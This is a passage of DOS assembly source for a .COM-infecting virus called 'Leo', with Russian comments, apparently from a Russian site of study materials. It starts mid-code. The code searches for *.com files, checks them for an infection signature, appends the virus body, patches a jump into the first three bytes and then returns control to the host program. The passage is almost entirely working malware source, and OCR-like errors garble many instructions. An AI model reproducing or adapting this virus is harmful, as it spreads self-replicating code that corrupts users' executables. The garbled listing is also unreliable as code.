Читаем первые три байта файла
xor ex,ex
xor dx.dx
int 21 h
[ Читаем первые три байта файла в тело вируса
See_Him2:
mov ah,3Fh
mov dx,offset bytes_3-offset myself
add dx.bp
mov cx,3
int 21 h
.Получаем длину файла, для чего переходим в конец файла
Testik:
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h
Size_test:
;Сохраняем полученную длину файла
mov [bp+(offset flen-offset MySelf)],ax
[Проверяем длину файла
cmp ax.64000
;Если файл не больше 64000 байт,- переходим
;к следующей проверке,
;иначе ищем другой файл (этот слишком велик для заражения)
jna richJest
jmp find_next
Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
RichJest:
[Переходим в конец файла (на последний байт)
mov ax,4200h
xor сх.сх
mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx,offset bytik-offset myself
add dx.bp
int 21 h
;Если при чтении файла ошибок
;не произошло - проверяем сигнатуру,
.иначе ищем следующий файл
jnc test_bytik
jmp tind_next
;Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если сигнатура есть, то ищем другой файл,
.если нет - будем заражать
jne NotJnfected
jmp find_next
.Файл не заражен - будем заражать
NotJnfected:
mov ax,[bp+(offset flen-offset myself)]
sub ax,03h
mov [bp+(offset jmp_cmd-offset myself)],ax
l_am_copy:
.Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21 h
[Устанавливаем регистр DS на сегмент кода
push cs
pop ds
.Копируем вирус в файл
mov ah,40h
mov ex,offset VirEnd-offset la
mov dx.bp
sub dx,offset myself-offset la
int 21 h
Записываем в начало файла переход на тело вируса
Write_Jmp:
.Переходим в начало файла
хог сх.сх
xor dx,dx
mov ax,4200h
int 21 h
[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3
mov dx.offset jmpvir-offset myself
add dx.bp
int 21h
;3акрываем файл
Close:
mov ah,3Eh
int 21h
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh
pop ex
int 21h
exit:
восстанавливаем первоначальные значения регистров и флагов
pop es ds
рора
popf
Передаем управление программе-носителю
push 100h
retn
-.Байт для чтения сигнатуры
bytik db (?)
.Зарезервировано для изменения трех байт вируса
jmpvir db OE9h
jmp_cmd dw (?)
;Длина файла
flen dw (?)
;Шаблон для поиска файлов
fname db "*.com",0
;0бласть для хранения команды перехода
bytes_3 db 90h, 90h, 90h
;Байт памяти для чтения первого байта файла
;с целью проверки (Е9п)
buf db (?)
;Название вируса
virus_name db "Leo"
;Сигнатура
a db CheckByte
VirEnd:
code ends
end start
Forekc.ru
Рефераты, дипломы, курсовые, выпускные и квалификационные работы, диссертации, учебники, учебные пособия, лекции, методические пособия и рекомендации, программы и курсы обучения, публикации из профильных изданий